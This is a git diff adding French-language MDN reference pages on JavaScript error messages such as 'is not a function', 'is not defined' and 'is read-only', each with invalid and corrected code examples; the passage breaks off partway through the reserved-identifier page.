diff --git a/files/fr/web/javascript/reference/errors/no_variable_name/index.html b/files/fr/web/javascript/reference/errors/no_variable_name/index.html new file mode 100644 index 0000000000..db4e1103b3 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/no_variable_name/index.html @@ -0,0 +1,83 @@ +--- +title: 'SyntaxError: missing variable name' +slug: Web/JavaScript/Reference/Erreurs/No_variable_name +tags: + - Erreurs + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/No_variable_name +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: missing variable name (Firefox)
+SyntaxError: Unexpected token = (Chrome)
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}

+ +

Quel est le problème ?

+ +

Il manque un nom pour une variable. Cela est probablement dû à une erreur de syntaxe dans le code. Peut-être qu'une variable est placée au mauvais endroit ou peut-être qu'il manque un nom car on n'a pas trouvé de nom pertinent… (ce qui est souvent assez difficile).

+ +

Exemples

+ +

Absence d'un nom pour une variable

+ +
var = "toto";
+
+ +

Il est souvent compliqué de trouver le bon nom pour une variable…

+ +
var àDéfautDeMieux = "toto";
+ +

Les mots-clés réservés ne peuvent pas être utilisés comme noms de variables

+ +

Quelques mots-clés sont réservés et ne peuvent pas être utilisés comme noms de variable :

+ +
var debugger = "zuuuuut";
+// SyntaxError: missing variable name
+
+ +

Déclarer plusieurs variables

+ +

Attention aux virgules lorsqu'on déclare plusieurs variables… Y a-t-il plus de virgules que nécessairee ? Une virgule est-elle utilisée à la place d'un point-virgule ?

+ +
var x, y = "toto",
+var x, = "toto"
+
+var un = document.getElementById('un'),
+var deux = document.getElementById('deux'),
+
+// SyntaxError: missing variable name
+
+ +

Voici une version corrigée :

+ +
var x, y = "toto";
+var x = "toto";
+
+var un = document.getElementById('un');
+var deux = document.getElementById('deux');
+ +

Tableaux

+ +

Pour former un littéral de tableau ({{jsxref("Array")}}), il est nécessaire d'ajouter des crochets autour des valeurs des éléments. Le fragment de code suivant ne fonctionnera pas :

+ +
var arr = 1,2,3,4,5;
+// SyntaxError: missing variable name
+
+ +

Voici la forme équivalente correcte :

+ +
var arr = [1,2,3,4,5];
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/non_configurable_array_element/index.html b/files/fr/web/javascript/reference/errors/non_configurable_array_element/index.html new file mode 100644 index 0000000000..91f387a7a9 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/non_configurable_array_element/index.html @@ -0,0 +1,83 @@ +--- +title: 'TypeError: can''t delete non-configurable array element' +slug: Web/JavaScript/Reference/Erreurs/Non_configurable_array_element +tags: + - Erreur + - Erreurs + - JavaScript + - TypeError +translation_of: Web/JavaScript/Reference/Errors/Non_configurable_array_element +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: can't delete non-configurable array element (Firefox)
+TypeError: Cannot delete property '2' of [object Array] (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}

+ +

Quel est le problème ?

+ +

On a voulu raccourcir la longueur d'un tableau mais l'un des éléments de ce tableau est non-configurable. Lorsqu'on tronque un tableau, les éléments situés au-delà de la nouvelle longueur seront supprimés. Dans ce cas, c'est cette suppression qui n'a pas pu être effectuée.

+ +

L'attribut configurable permet de contrôler si la propriété peut être supprimée d'un objet et si ses attributs (en dehors de writable) peuvent être modifiés.

+ +

La plupart du temps, les propriétés d'un objet créé avec un littéral de tableau sont configurables. Toutefois, si on utilise {{jsxref("Object.defineProperty()")}} par exemple, la propriété n'est pas configurable par défaut.

+ +

Exemples

+ +

Propriétés non-configurables créées avec  Object.defineProperty

+ +

Par défaut, la méthode {{jsxref("Object.defineProperty()")}} crée des propriétés non-configurables si on n'indique pas expressément le contraire :

+ +
var arr = [];
+Object.defineProperty(arr, 0, {value: 0});
+Object.defineProperty(arr, 1, {value: "1"});
+
+arr.length = 1;
+// TypeError: can't delete non-configurable array element
+
+ +

Si on veut tronquer le tableau, il faut que les éléments excédants soient configurables :

+ +
var arr = [];
+Object.defineProperty(arr, 0, {value: 0, configurable: true});
+Object.defineProperty(arr, 1, {value: "1", configurable: true});
+
+arr.length = 1;
+
+ +

Tableaux scellés (seal)

+ +

La méthode {{jsxref("Object.seal()")}} permet de marquer l'ensemble des propriétés (ici les éléments du tableau) comme non-configurables :

+ +
var arr = [1,2,3];
+Object.seal(arr);
+
+arr.length = 1;
+// TypeError: can't delete non-configurable array element
+
+ +

Pour corriger l'erreur, il faut retirer l'appel à {{jsxref("Object.seal()")}} ou réaliser une copie du tableau. Dans ce dernier cas, on notera que tronquer la copie du tableau ne modifie pas la longueur du tableau original.

+ +
var arr = [1,2,3];
+Object.seal(arr);
+
+// On copie le tableau initial pour tronquer cette copie
+var copie = Array.from(arr);
+copie.length = 1;
+// arr.length == 3
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/not_a_codepoint/index.html b/files/fr/web/javascript/reference/errors/not_a_codepoint/index.html new file mode 100644 index 0000000000..be95fbb594 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/not_a_codepoint/index.html @@ -0,0 +1,56 @@ +--- +title: 'RangeError: argument is not a valid code point' +slug: Web/JavaScript/Reference/Erreurs/Not_a_codepoint +tags: + - Erreurs + - JavaScript + - RangeError +translation_of: Web/JavaScript/Reference/Errors/Not_a_codepoint +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
RangeError: Invalid code point {0} (Edge)
+RangeError: {0} is not a valid code point (Firefox)
+RangeError: Invalid code point {0} (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("RangeError")}}

+ +

Quel est le problème ?

+ +

La méthode {{jsxref("String.fromCodePoint()")}} a été utilisée mais elle n'accepte que les points de code valides (code points) et la valeur fournie en argument n'est pas un point de code valide (ex. NaN, -1).

+ +

Un point de code est une valeur de code Unicode et s'inscrit dans un intervalle allant de 0 à 0x10FFFF.

+ +

Les valeurs {{jsxref("NaN")}}, les entiers négatifs (-1), les flottants (3.14) ou les valeur supérieures à 0x10FFFF (1114111) ne peuvent pas être utilisées avec cette méthode.

+ +

Examples

+ +

Exemples invalides

+ +
String.fromCodePoint('_');      // RangeError
+String.fromCodePoint(Infinity); // RangeError
+String.fromCodePoint(-1);       // RangeError
+String.fromCodePoint(3.14);     // RangeError
+String.fromCodePoint(3e-2);     // RangeError
+String.fromCodePoint(NaN);      // RangeError
+ +

Exemples valides

+ +
String.fromCodePoint(42);       // "*"
+String.fromCodePoint(65, 90);   // "AZ"
+String.fromCodePoint(0x404);    // "\u0404"
+String.fromCodePoint(0x2F804);  // "\uD87E\uDC04"
+String.fromCodePoint(194564);   // "\uD87E\uDC04"
+String.fromCodePoint(0x1D306, 0x61, 0x1D307) // "\uD834\uDF06a\uD834\uDF07"
+
+ +

Voir aussi

+ +
    +
  • {{jsxref("String.fromCodePoint()")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/not_a_constructor/index.html b/files/fr/web/javascript/reference/errors/not_a_constructor/index.html new file mode 100644 index 0000000000..639a2c1b41 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/not_a_constructor/index.html @@ -0,0 +1,96 @@ +--- +title: 'TypeError: "x" is not a constructor' +slug: Web/JavaScript/Reference/Erreurs/Not_a_constructor +tags: + - Erreurs + - JavaScript + - TypeError +translation_of: Web/JavaScript/Reference/Errors/Not_a_constructor +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: Object doesn't support this action (Edge)
+TypeError: "x" is not a constructor
+
+TypeError: Math is not a constructor
+TypeError: JSON is not a constructor
+TypeError: Symbol is not a constructor
+TypeError: Reflect is not a constructor
+TypeError: Intl is not a constructor
+TypeError: SIMD is not a constructor
+TypeError: Atomics is not a constructor
+
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}

+ +

Quel est le problème ?

+ +

Une variable ou un objet a été utilisé comme un constructeur alors que cet objet ou cette variable n'est pas un constructeur. Pour plus d'informations sur les constructeurs, voir la page sur l'opérateur new.

+ +

De nombreux objets globaux tels que {{jsxref("String")}} ou {{jsxref("Array")}}, sont constructibles avec new. Cependant, d'autres objets globaux ne le sont pas (leurs propriétés et méthodes sont statiques). Les objets standards natifs suivants ne sont pas des constructeur : {{jsxref("Math")}}, {{jsxref("JSON")}}, {{jsxref("Symbol")}}, {{jsxref("Reflect")}}, {{jsxref("Intl")}}, {{jsxref("SIMD")}}, {{jsxref("Atomics")}}.

+ +

Les fonctions génératrices ne peuvent pas non plus être utilisées comme des constructeurs.

+ +

Exemples

+ +

Exemples invalides

+ +
var Voiture = 1;
+new Voiture();
+// TypeError: Voiture is not a constructor
+
+new Math();
+// TypeError: Math is not a constructor
+
+new Symbol();
+// TypeError: Symbol is not a constructor
+
+function* f() {};
+var obj = new f;
+// TypeError: f is not a constructor
+
+ +

Créer un constructeur voiture

+ +

Imaginons qu'on veuille représenter des voitures sous forme d'objets. On appellera ce type voiture et on lui ajoutera des propriétés pour le fabricant, le modèle et l'année. Pour cela, on pourra écrire la fonction suivante :

+ +
function Voiture(fabriquant, modèle, année) {
+  this.fabriquant = fabriquant;
+  this.modèle = modèle;
+  this.année = année;
+}
+
+ +

On peut désormais créer un objet maVoiture comme ceci :

+ +
var maVoiture = new Voiture("Renault", "Twingo", 2006);
+ +

Avec les promesses

+ +

Lorsqu'on renvoie une promesse immédiatement tenue ou rompue, il n'est pas nécessaire d'utiliser new Promise() pour la manipuler. Il faut plutôt utiliser les méthodes statiques {{jsxref("Promise.resolve()")}} ou {{jsxref("Promise.reject()")}} :

+ +
// Dans ce cas on aura une exception
+// "this is not a constructor"
+return new Promise.resolve(true);
+
+ +
// Cette formulation fonctionne mais
+// est inutilement longue
+return new Promise((resolve, reject) => { resolve(true); });
+
+// On pourra autrement utiliser les
+// méthodes statiques
+return Promise.resolve(true);
+return Promise.reject(false);
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/not_a_function/index.html b/files/fr/web/javascript/reference/errors/not_a_function/index.html new file mode 100644 index 0000000000..1fcd81ecfe --- /dev/null +++ b/files/fr/web/javascript/reference/errors/not_a_function/index.html @@ -0,0 +1,155 @@ +--- +title: 'TypeError: "x" is not a function' +slug: Web/JavaScript/Reference/Erreurs/Not_a_function +tags: + - Erreurs + - JavaScript + - TypeError +translation_of: Web/JavaScript/Reference/Errors/Not_a_function +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: Object doesn't support property or method {x} (Edge)
+TypeError: "x" is not a function
+
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}.

+ +

Quel est le problème ?

+ +

Une valeur a été utilisée pour un appel de fonction alors que cette valeur n'est pas une fonction. Autrement dit, un fragment de code attendait une fonction mais a reçu des valeurs d'un autre type.

+ +

Il est possible qu'il y ait une coquille dans le nom de la fonction. Peut être que l'objet sur lequel la méthode est invoquée ne possède pas cette fonction (par exemple, les objets Array possèdent une fonction map() mais d'autres objets ne l'ont pas).

+ +

Il existe de nombreuses fonctions natives qui fonctionnent à l'aide d'une fonction (callback) passée en argument :

+ +
    +
  • Pour les objets {{jsxref("Array")}} ou {{jsxref("TypedArray")}}, voici les fonctions qui utilisent une fonction en argument : +
      +
    • {{jsxref("Array.prototype.every()")}}, {{jsxref("Array.prototype.some()")}}, {{jsxref("Array.prototype.forEach()")}}, {{jsxref("Array.prototype.map()")}}, {{jsxref("Array.prototype.filter()")}},  {{jsxref("Array.prototype.reduce()")}}, {{jsxref("Array.prototype.reduceRight()")}}, {{jsxref("Array.prototype.find()")}}
      • +
    +
    • +
  • Pour les objets {{jsxref("Map")}} et {{jsxref("Set")}}, voici les méthodes concernées : +
      +
    • {{jsxref("Map.prototype.forEach()")}} and {{jsxref("Set.prototype.forEach()")}}
      • +
    +
    • +
+ +

Exemples

+ +

Une coquille dans le nom de la fonction

+ +

Dans ce cas, qui arrive bien trop souvent, il y a une faute d'orthographe dans le nom de la fonction utilisée :

+ +
var x = document.getElementByID("toto");
+// TypeError: document.getElementByID is not a function
+
+ +

Le nom de la fonction est (dans cet exemple) getElementById (attention à la casse pour les noms en JavaScript) :

+ +
var x = document.getElementById("toto");
+
+ +

Appeler une fonction sur le mauvais objet

+ +

Certaines méthodes ne fonctionnent que pour certains types d'objet et utilisent une fonction en argument. Ainsi, dans cet exemple, on utilise {{jsxref("Array.prototype.map()")}} qui ne fonctionne que sur les objets {{jsxref("Array")}}.

+ +
var obj = { a: 13, b: 37, c: 42 };
+
+obj.map(function(num) {
+  return num * 2;
+});
+
+// TypeError: obj.map is not a function
+ +

Il faudra utiliser un tableau à la place :

+ +
var nombres = [1, 4, 9];
+
+nombres.map(function(num) {
+  return num * 2;
+});
+
+// Array [ 2, 8, 18 ]
+
+ +

Utiliser le même nom pour une méthode et une propriété

+ +

Lorsqu'on écrit une classe, on peut malheureusement utiliser le même nom pour une propriété et une méthode. Lorsqu'on appellera la fonction, celle-ci aura été remplacée par la propriété et cela déclenchera une erreur :

+ +
var Chien = function () {
+ this.age = 11;
+ this.couleur = "noir";
+ this.nom = "Ralph";
+ return this;
+}
+
+Chien.prototype.nom = function(nom) {
+ this.nom = nom;
+ return this;
+}
+
+
+var monNouveauChien = new Chien();
+monNouveauChien.nom("Cassidy"); // Uncaught TypeError: monNouveauChien.nom is not a function
+
+ +

Pour résoudre le problème, on utilisera deux noms distincts pour la propriété et la méthode :

+ +
var Chien = function () {
+ this.age = 11;
+ this.couleur = "noir";
+ this.nomChien = "Ralph";
+ return this;
+}
+
+Chien.prototype.nom = function(nom) {
+ this.nomChien = nom;
+ return this;
+}
+
+
+var monNouveauChien = new Chien();
+monNouveauChien.nom("Cassidy"); // Chien { age: 11, couleur: "noir", nomChien: "Cassidy" }
+
+ +

Utiliser des parenthèses pour la multiplication

+ +

En notation mathématique, on peut écrire 2(3+5) pour indiquer qu'on souhaite multiplier 2 par 3 + 5. Toutefois, une telle écriture n'est pas valide en JavaScript car il faut préciser l'opérateur de multiplication :

+ +
var seize = 2(3 + 5);
+console.log('2 x (3 + 5) vaut ' + String(seize));
+// Uncaught TypeError: 2 is not a function
+ +

Pour corriger, il suffit d'ajouter l'opérateur * :

+ +
var seize = 2 * (3 + 5);
+console.log('2 x (3 + 5) is ' + String(seize));
+//2 x (3 + 5) is 16
+
+ +

Importer un module exporté correctement

+ +

Assurez-vous d'importer le module correctement. Si par exemple, on dispose d'une bibliothèque helpers.js avec le code suivant :

+ +
let helpers = function () { };
+helpers.log = function(msg) {
+  console.log(msg);
+};
+
+export default helpers;
+ +

Pour l'importer côté application, on écrira :

+ +
import helpers from './helpers'
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/not_defined/index.html b/files/fr/web/javascript/reference/errors/not_defined/index.html new file mode 100644 index 0000000000..6ec4ec7dfa --- /dev/null +++ b/files/fr/web/javascript/reference/errors/not_defined/index.html @@ -0,0 +1,70 @@ +--- +title: 'ReferenceError: "x" is not defined' +slug: Web/JavaScript/Reference/Erreurs/Not_defined +tags: + - Erreur + - JavaScript + - Reference + - ReferenceError +translation_of: Web/JavaScript/Reference/Errors/Not_defined +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
ReferenceError: "x" is not defined
+
+ +

Type d'erreur

+ +

{{jsxref("ReferenceError")}}.

+ +

Quel est le problème ?

+ +

Une variable qui n'existe pas est référencée quelque part. Cette variable doit être déclarée ou il faut vérifier qu'elle est disponible dans le script concerné ou dans la portée utilisée.

+ +
+

Note : Lors du chargement d'une bibliothèque comme jQuery, assurez-vous de bien charger la bibliothèque avant d'accéder aux variables comme $. La balise {{HTMLElement("script")}} utilisée pour charger la bibliothèque doit être présente avant le code qui l'utilise.

+
+ +

Exemples

+ +

Exemple de variable non déclarée

+ +
toto.substring(1); // ReferenceError: toto is not defined
+
+ +

La variable toto n'est définie nulle part. De plus, il faut qu'elle soit une chaîne de caractères afin que la méthode {{jsxref("String.prototype.substring()")}} puisse fonctionner.

+ +
var toto = "truc";
+toto.substring(1); // "ruc"
+ +

Exemple de portée invalide

+ +

Une variable doit être disponible dans le contexte d'exécution où elle est utilisée. Les variables définies au sein d'une fonction ne peuvent pas être utilisées en dehors de cette fonction car la variable appartient à la portée de la fonction.

+ +
function numbers () {
+  var num1 = 2,
+      num2 = 3;
+  return num1 + num2;
+}
+
+console.log(num1); // ReferenceError num1 is not defined.
+ +

Toutefois, une fonction peut accéder aux variables et aux fonctions définies dans la portée dans laquelle elle s'inscrit. Ainsi, une fonction définie dans la portée globale peut utiliser toutes les variables définies dans la portée globale.

+ +
var num1 = 2,
+    num2 = 3;
+
+function numbers () {
+  return num1 + num2;
+}
+
+console.log(num1); // 2
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/precision_range/index.html b/files/fr/web/javascript/reference/errors/precision_range/index.html new file mode 100644 index 0000000000..888b151408 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/precision_range/index.html @@ -0,0 +1,98 @@ +--- +title: 'RangeError: precision is out of range' +slug: Web/JavaScript/Reference/Erreurs/Precision_range +tags: + - Erreurs + - JavaScript + - RangeError +translation_of: Web/JavaScript/Reference/Errors/Precision_range +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
RangeError: The number of fractional digits is out of range (Edge)
+RangeError: The precision is out of range (Edge)
+RangeError: precision {0} out of range (Firefox)
+RangeError: toExponential() argument must be between 0 and 20 (Chrome)
+RangeError: toFixed() digits argument must be between 0 and 20 (Chrome)
+RangeError: toPrecision() argument must be between 1 and 21 (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("RangeError")}}

+ +

Quel est le problème ?

+ +

Un argument dont la précision est en dehors de l'intervalle valide, prévu par le moteur JavaScript, a été utilisé pour une de ces méthodes :

+ +
    +
  • {{jsxref("Number.prototype.toExponential()")}}
    • +
  • {{jsxref("Number.prototype.toFixed()")}}
    • +
  • {{jsxref("Number.prototype.toPrecision()")}}
    • +
+ +

Généralement, ces méthodes acceptent des arguments de précision compris entre 0 et 20 (voire 21). Cependant, la spécification ECMAScript permet de gérer des valeurs en dehors de cet intervalle.

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
MéthodeFirefox (SpiderMonkey)Chrome, Opera (V8)
{{jsxref("Number.prototype.toExponential()")}}0 to 1000 to 20
{{jsxref("Number.prototype.toFixed()")}}-20 to 1000 to 20
{{jsxref("Number.prototype.toPrecision()")}}1 to 1001 to 21
+ +

Exemples

+ +

Exemples invalides

+ +
77.1234.toExponential(-1);  // RangeError
+77.1234.toExponential(101); // RangeError
+
+2.34.toFixed(-100);         // RangeError
+2.34.toFixed(1001);         // RangeError
+
+1234.5.toPrecision(-1);     // RangeError
+1234.5.toPrecision(101);    // RangeError
+
+ +

Exemples valides

+ +
77.1234.toExponential(4); // 7.7123e+1
+77.1234.toExponential(2); // 7.71e+1
+
+2.34.toFixed(1); // 2.3
+2.35.toFixed(1); // 2.4 (note that it rounds up in this case)
+
+5.123456.toPrecision(5); // 5.1235
+5.123456.toPrecision(2); // 5.1
+5.123456.toPrecision(1); // 5
+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Number.prototype.toExponential()")}}
    • +
  • {{jsxref("Number.prototype.toFixed()")}}
    • +
  • {{jsxref("Number.prototype.toPrecision()")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/property_access_denied/index.html b/files/fr/web/javascript/reference/errors/property_access_denied/index.html new file mode 100644 index 0000000000..52a86be808 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/property_access_denied/index.html @@ -0,0 +1,47 @@ +--- +title: 'Error: Permission denied to access property "x"' +slug: Web/JavaScript/Reference/Erreurs/Property_access_denied +tags: + - Erreurs + - Error + - JavaScript + - Sécurité +translation_of: Web/JavaScript/Reference/Errors/Property_access_denied +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
Error: Permission denied to access property "x"
+
+ +

Type d'erreur

+ +

{{jsxref("Error")}}.

+ +

Quel est le problème ?

+ +

Il y a eu une tentative d'accès non-autorisée à un objet sur lequel vous n'avez pas de permissions. Généralement, cela se produit lorsqu'un élément {{HTMLElement("iframe")}} est chargée depuis un domaine différent et que la condition de même origine n'est pas respectée.

+ +

Exemples

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <iframe id="myframe" src="http://www1.w3c-test.org/common/blank.html"></iframe>
+    <script>
+      onload = function() {
+        console.log(frames[0].document);
+        // Error: Permission denied to access property "document"
+      }
+    </script>
+  </head>
+  <body></body>
+</html>
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/read-only/index.html b/files/fr/web/javascript/reference/errors/read-only/index.html new file mode 100644 index 0000000000..b48b622e27 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/read-only/index.html @@ -0,0 +1,80 @@ +--- +title: 'TypeError: "x" is read-only' +slug: Web/JavaScript/Reference/Erreurs/Read-only +tags: + - Erreurs + - JavaScript + - TypeError +translation_of: Web/JavaScript/Reference/Errors/Read-only +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: Assignment to read-only properties is not allowed in strict mode (Edge)
+TypeError: "x" is read-only (Firefox)
+TypeError: 0 is read-only (Firefox)
+TypeError: Cannot assign to read only property 'x' of #<Object> (Chrome)
+TypeError: Cannot assign to read only property '0' of [object Array] (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}

+ +

Quel est le problème ?

+ +

La variable globale ou la propriété ne peut pas recevoir de valeur ou être modifiée car elle est en lecture seule (d'un point de vue technique, il s'agit d'une propriété de donnée en lecture seule).

+ +

Cette erreur ne se produit qu'avec le mode strict. En mode non-strict, l'affectation est ignorée silencieusement.

+ +

Exemples

+ +

Exemples invalides

+ +

Les propriétés en lecture seule ne sont pas fréquemment utilisées mais on peut en créer en utilisant les méthodes {{jsxref("Object.defineProperty()")}} ou {{jsxref("Object.freeze()")}}.

+ +
"use strict";
+var obj = Object.freeze({name: "Elsa", score: 157});
+obj.score = 0;  // TypeError
+
+"use strict";
+Object.defineProperty(this, "NB_POUMONS", {value: 2, writable: false});
+NB_POUMONS = 3;  // TypeError
+
+"use strict";
+var frozenArray = Object.freeze([0, 1, 2]);
+frozenArray[0]++;  // TypeError
+
+ +

Quelques propriétés natives JavaScript sont également en lecture seule. Par exemple, on obtient cette erreur lorsqu'on souhaite redéfinir une constante mathématique.

+ +
"use strict";
+Math.PI = 4;  // TypeError
+
+ +

La variable globale undefined est également en lecture seule. On ne peut donc pas faire disparaître la fameuse erreur "undefined is not a function" avec ce code :

+ +
"use strict";
+undefined = function () {};
+// TypeError: "undefined" is read-only
+
+ +

Exemples valides

+ +
"use strict";
+var obj = Object.freeze({name: "Score", points: 157});
+obj = {name: obj.name, points: 0};
+// En changeant d'objet, ça fonctionne
+
+"use strict";
+var NB_POUMONS = 2;  // `var` fonctionne
+NB_POUMONS = 3;  // ok
+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.defineProperty()")}}
    • +
  • {{jsxref("Object.freeze()")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/redeclared_parameter/index.html b/files/fr/web/javascript/reference/errors/redeclared_parameter/index.html new file mode 100644 index 0000000000..66d52b9b2b --- /dev/null +++ b/files/fr/web/javascript/reference/errors/redeclared_parameter/index.html @@ -0,0 +1,62 @@ +--- +title: 'SyntaxError: redeclaration of formal parameter "x"' +slug: Web/JavaScript/Reference/Erreurs/Redeclared_parameter +tags: + - Erreurs + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Redeclared_parameter +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: Let/Const redeclaration (Edge)
+SyntaxError: redeclaration of formal parameter "x" (Firefox)
+SyntaxError: Identifier "x" has already been declared (Chrome)
+
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}

+ +

Quel est le problème ?

+ +

Le même nom de variable est présent comme paramètre de la fonction et dans une affectation let au sein du corps de cette fonction et il n'est pas possible de redéclarer la même variable dans la même fonction ou dans le même bloc avec let.

+ +

Exemples

+ +

Dans le fragment de code qui suit, la variable arg redéclare l'argument passé à la fonction.

+ +
function f(arg) {
+  let arg = "toto";
+}
+
+// SyntaxError: redeclaration of formal parameter "arg"
+
+ +

Si on souhaite changer la valeur de arg dans le corps de la fonction, c'est possible mais il ne faut pas la redéclarer. Autrement dit, on peut retirer le mot-clé let. Si on souhaite plutôt créer une nouvelle variable, mieux vaudra utiliser un autre nom afin d'éviter les conflits avec les noms des paramètres existants.

+ +
function f(arg) {
+  arg = "toto";
+}
+
+function f(arg) {
+  let truc = "toto";
+}
+
+ +

Notes de compatibilité

+ +
    +
  • Avant Firefox 49 {{geckoRelease(49)}}, cela provoquait une exception {{jsxref("TypeError")}} ({{bug(1275240)}}).
    • +
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/errors/reduce_of_empty_array_with_no_initial_value/index.html b/files/fr/web/javascript/reference/errors/reduce_of_empty_array_with_no_initial_value/index.html new file mode 100644 index 0000000000..40bb79c083 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/reduce_of_empty_array_with_no_initial_value/index.html @@ -0,0 +1,88 @@ +--- +title: 'TypeError: Reduce of empty array with no initial value' +slug: Web/JavaScript/Reference/Erreurs/Reduce_of_empty_array_with_no_initial_value +tags: + - Error + - JavaScript + - Reference + - TypeError +translation_of: Web/JavaScript/Reference/Errors/Reduce_of_empty_array_with_no_initial_value +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
TypeError: reduce of empty array with no initial value
+
+ +

Type d'erreur

+ +

{{jsxref("TypeError")}}

+ +

Quel est le problème ?

+ +

En JavaScript, il existe plusieurs fonctions qui permettent de réduire un tableau :

+ +
    +
  • {{jsxref("Array.prototype.reduce()")}}, {{jsxref("Array.prototype.reduceRight()")}} ainsi que
    • +
  • {{jsxref("TypedArray.prototype.reduce()")}},  {{jsxref("TypedArray.prototype.reduceRight()")}}).
    • +
+ +

Ces fonctions utilisent un argument optionnel valeurInitiale (qui sera utilisée comme premier argument pour le premier appel du callback). Toutefois, si aucune valeur initiale explicite est fournie, la méthode utilisera le premier élément de l'objet  {{jsxref("Array")}} / {{jsxref("TypedArray")}} comme valeur initiale. Cette exception est déclenchée lorsqu'on souhaite réduire un tableau vide car aucune valeur initiale n'a été fournie.

+ +

Exemples

+ +

Exemples invalides

+ +

Ce problème se produit lorsqu'on combine une méthode de filtrage ({{jsxref("Array.prototype.filter()")}}, {{jsxref("TypedArray.prototype.filter()")}}) qui retire tous les éléments du tableau. Si on applique ensuite une réduction, il n'y aura pas de valeur initiale.

+ +
var ints = [0, -1, -2, -3, -4, -5];
+ints.filter(x => x > 0)         // cet appel retire tous les éléments
+    .reduce((x, y) => x + y)    // aucun ne peut alors être utilisé comme valeur initiale
+ +

Cela peut également se produire si on utilise un sélecteur avec une coquille ou que la liste contient un nombre d'élément inattendu:

+ +
var names = document.getElementsByClassName("names");
+var name_list = Array.prototype.reduce.call(names, (acc, name) => acc + ", " + name);
+
+ +

Exemples valides

+ +

On peut résoudre ces problèmes de deux façons.

+ +

On peut fournir une valeur initiale qui soit l'élément neutre de la réduction (par exemple 0 si on additionne, 1 si on multiplie ou la chaîne vide si on concatène du texte).

+ +
var ints = [0, -1, -2, -3, -4, -5];
+ints.filter(x => x > 0)         // removes all elements
+    .reduce((x, y) => x + y, 0) // the initial value is the neutral element of the addition
+
+ +

On peut également gérer le cas où le tableau est vide, avant d'appeler reduce ou dans le callback après avoir ajouté une valeur initiale.

+ +
var names = document.getElementsByClassName("names");
+
+var nameList1 = "";
+if (names1.length >= 1)
+  nameList1 = Array.prototype.reduce.call(names, (acc, name) => acc + ", " + name);
+// nameList1 == "" lorsque names est vide
+
+var nameList2 = Array.prototype.reduce.call(names, (acc, name) => {
+  if (acc == "") // la valeur initiale
+    return name;
+  return acc + ", " + name;
+}, "");
+// nameList2 == "" lorsque names est vide
+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.reduce()")}}
    • +
  • {{jsxref("Array.prototype.reduceRight()")}}
    • +
  • {{jsxref("TypedArray.prototype.reduce()")}}
    • +
  • {{jsxref("TypedArray.prototype.reduceRight()")}}
    • +
  • {{jsxref("Array")}}
    • +
  • {{jsxref("TypedArray")}}
    • +
  • {{jsxref("Array.prototype.filter()")}}
    • +
  • {{jsxref("TypedArray.prototype.filter()")}}
    • +
diff --git a/files/fr/web/javascript/reference/errors/reserved_identifier/index.html b/files/fr/web/javascript/reference/errors/reserved_identifier/index.html new file mode 100644 index 0000000000..98bb834523 --- /dev/null +++ b/files/fr/web/javascript/reference/errors/reserved_identifier/index.html @@ -0,0 +1,81 @@ +--- +title: 'SyntaxError: "x" is a reserved identifier' +slug: Web/JavaScript/Reference/Erreurs/Reserved_identifier +tags: + - Erreurs + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Reserved_identifier +--- +
{{jsSidebar("Errors")}}
+ +

Message

+ +
SyntaxError: The use of a future reserved word for an identifier is invalid (Edge)
+SyntaxError: "x" is a reserved identifier (Firefox)
+SyntaxError: Unexpected reserved word (Chrome)
+ +

Type d'erreur

+ +

{{jsxref("SyntaxError")}}

+ +

Quel est le problème ?

+ +

Les mots-clés réservés lèveront une exception s'ils sont utilisés en tant qu'identifiants. Voici les mots-clés réservés en mode strict et en mode sloppy :

+ +
    +
  • enum
    • +
+ +

Voici les mots-clés uniquement réservés en mode strict :

+ +
    +
  • implements
    • +
  • interface
    • +
  • {{jsxref("Statements/let", "let")}}
    • +
  • package
    • +
  • private
    • +
  • protected
    • +
  • public
    • +
  • static
    • +
+ +

Exemples

+ +

Mots-clés réservés en modes strict et non-strict

+ +

L'identifiant enum est réservé dans les différents cas :

+ +
